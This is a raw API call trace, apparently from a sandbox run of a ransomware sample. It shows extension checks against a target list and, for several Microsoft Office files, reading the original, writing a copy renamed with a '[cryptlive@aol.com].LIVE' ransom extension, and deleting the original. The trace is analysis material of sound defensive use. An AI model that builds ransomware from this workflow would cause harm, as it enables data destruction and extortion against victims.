lstrlenW (lpString=".jpg") returned 4 [0143.358] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0143.358] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0143.358] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0143.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.359] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=626) returned 1 [0143.359] CloseHandle (hObject=0x38c) returned 1 [0143.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 0x20 [0143.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.360] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.360] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.608] GetLastError () returned 0x0 [0143.608] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x272, lpOverlapped=0x0) returned 1 [0143.652] WriteFile (in: hFile=0x1fc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x280, lpOverlapped=0x0) returned 1 [0143.653] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.653] WriteFile (in: hFile=0x1fc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0143.654] SetEndOfFile (hFile=0x1fc) returned 1 [0143.654] CloseHandle (hObject=0x1fc) returned 1 [0143.654] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.654] SetEndOfFile (hFile=0x38c) returned 1 [0143.656] CloseHandle (hObject=0x38c) returned 1 [0143.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 1 [0143.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.657] lstrlenW (lpString=".doc") returned 4 [0143.657] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.657] lstrlenW (lpString=".docx") returned 5 [0143.657] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.657] lstrlenW (lpString=".pdf") returned 4 [0143.657] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.657] lstrlenW (lpString=".xls") returned 4 [0143.657] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.657] lstrlenW (lpString=".xlsx") returned 5 [0143.657] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.657] lstrlenW (lpString=".ppt") returned 4 [0143.657] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.657] lstrlenW (lpString=".zip") returned 4 [0143.657] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString=".rar") returned 4 [0143.658] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString=".bz2") returned 4 [0143.658] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.658] lstrlenW (lpString=".7z") returned 3 [0143.658] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.658] lstrlenW (lpString=".dbf") returned 4 [0143.658] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.658] lstrlenW (lpString=".1cd") returned 4 [0143.658] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.658] lstrlenW (lpString=".jpg") returned 4 [0143.658] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.658] lstrlenW (lpString=".doc") returned 4 [0143.658] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.658] lstrlenW (lpString=".docx") returned 5 [0143.658] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.658] lstrlenW (lpString=".pdf") returned 4 [0143.658] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString=".xls") returned 4 [0143.658] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString=".xlsx") returned 5 [0143.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.658] lstrlenW (lpString=".ppt") returned 4 [0143.658] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.658] lstrlenW (lpString=".zip") returned 4 [0143.658] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString=".rar") returned 4 [0143.658] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.658] lstrlenW (lpString=".bz2") returned 4 [0143.659] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.659] lstrlenW (lpString=".7z") returned 3 [0143.659] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.659] lstrlenW (lpString=".dbf") returned 4 [0143.659] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.659] lstrlenW (lpString=".1cd") returned 4 [0143.659] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0143.659] lstrlenW (lpString=".jpg") returned 4 [0143.659] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.659] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0143.659] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0143.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.715] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2150) returned 1 [0143.715] CloseHandle (hObject=0x384) returned 1 [0143.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 0x20 [0143.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0143.750] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.750] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.751] GetLastError () returned 0x0 [0143.751] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x866, lpOverlapped=0x0) returned 1 [0143.786] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x870, lpOverlapped=0x0) returned 1 [0143.787] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.787] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.787] SetEndOfFile (hFile=0x384) returned 1 [0143.787] CloseHandle (hObject=0x384) returned 1 [0143.787] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.787] SetEndOfFile (hFile=0x3ac) returned 1 [0143.791] CloseHandle (hObject=0x3ac) returned 1 [0143.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 1 [0143.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.905] lstrlenW (lpString=".doc") returned 4 [0143.906] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString=".docx") returned 5 [0143.906] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0143.906] lstrlenW (lpString=".pdf") returned 4 [0143.906] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString=".xls") returned 4 [0143.906] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0143.906] lstrlenW (lpString=".xlsx") returned 5 [0143.906] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0143.906] lstrlenW (lpString=".ppt") returned 4 [0143.906] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.906] lstrlenW (lpString=".zip") returned 4 [0143.906] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0143.906] lstrlenW (lpString=".rar") returned 4 [0143.906] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString=".bz2") returned 4 [0143.906] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString=".7z") returned 3 [0143.906] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0143.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.906] lstrlenW (lpString=".dbf") returned 4 [0143.906] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.906] lstrlenW (lpString=".1cd") returned 4 [0143.906] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.906] lstrlenW (lpString=".jpg") returned 4 [0143.906] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0143.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.906] lstrlenW (lpString=".doc") returned 4 [0143.906] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString=".docx") returned 5 [0143.907] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0143.907] lstrlenW (lpString=".pdf") returned 4 [0143.907] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString=".xls") returned 4 [0143.907] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0143.907] lstrlenW (lpString=".xlsx") returned 5 [0143.907] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0143.907] lstrlenW (lpString=".ppt") returned 4 [0143.907] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.907] lstrlenW (lpString=".zip") returned 4 [0143.907] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0143.907] lstrlenW (lpString=".rar") returned 4 [0143.907] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString=".bz2") returned 4 [0143.907] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString=".7z") returned 3 [0143.907] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0143.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.907] lstrlenW (lpString=".dbf") returned 4 [0143.907] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.907] lstrlenW (lpString=".1cd") returned 4 [0143.907] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0143.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0143.907] lstrlenW (lpString=".jpg") returned 4 [0143.907] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0143.907] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0143.907] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0143.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.915] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=611) returned 1 [0143.915] CloseHandle (hObject=0x38c) returned 1 [0143.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 0x20 [0143.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.943] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.943] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0143.943] GetLastError () returned 0x0 [0143.943] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x263, lpOverlapped=0x0) returned 1 [0143.944] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x270, lpOverlapped=0x0) returned 1 [0143.945] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.945] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0143.945] SetEndOfFile (hFile=0x3a8) returned 1 [0143.945] CloseHandle (hObject=0x3a8) returned 1 [0143.946] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.946] SetEndOfFile (hFile=0x388) returned 1 [0143.948] CloseHandle (hObject=0x388) returned 1 [0143.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 1 [0143.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.949] lstrlenW (lpString=".doc") returned 4 [0143.949] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.949] lstrlenW (lpString=".docx") returned 5 [0143.949] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.949] lstrlenW (lpString=".pdf") returned 4 [0143.949] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.949] lstrlenW (lpString=".xls") returned 4 [0143.949] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.949] lstrlenW (lpString=".xlsx") returned 5 [0143.949] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.949] lstrlenW (lpString=".ppt") returned 4 [0143.949] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.949] lstrlenW (lpString=".zip") returned 4 [0143.949] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.949] lstrlenW (lpString=".rar") returned 4 [0143.949] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.949] lstrlenW (lpString=".bz2") returned 4 [0143.949] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.949] lstrlenW (lpString=".7z") returned 3 [0143.950] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.950] lstrlenW (lpString=".dbf") returned 4 [0143.950] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.950] lstrlenW (lpString=".1cd") returned 4 [0143.950] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.950] lstrlenW (lpString=".jpg") returned 4 [0143.950] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.950] lstrlenW (lpString=".doc") returned 4 [0143.950] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.950] lstrlenW (lpString=".docx") returned 5 [0143.950] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.950] lstrlenW (lpString=".pdf") returned 4 [0143.950] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.950] lstrlenW (lpString=".xls") returned 4 [0143.950] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.950] lstrlenW (lpString=".xlsx") returned 5 [0143.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.950] lstrlenW (lpString=".ppt") returned 4 [0143.950] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.950] lstrlenW (lpString=".zip") returned 4 [0143.950] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.950] lstrlenW (lpString=".rar") returned 4 [0143.950] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.950] lstrlenW (lpString=".bz2") returned 4 [0143.950] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.950] lstrlenW (lpString=".7z") returned 3 [0143.950] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.951] lstrlenW (lpString=".dbf") returned 4 [0143.951] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.951] lstrlenW (lpString=".1cd") returned 4 [0143.951] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0143.951] lstrlenW (lpString=".jpg") returned 4 [0143.951] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.951] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0143.951] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0143.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.952] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=203) returned 1 [0143.952] CloseHandle (hObject=0x388) returned 1 [0143.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 0x20 [0143.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 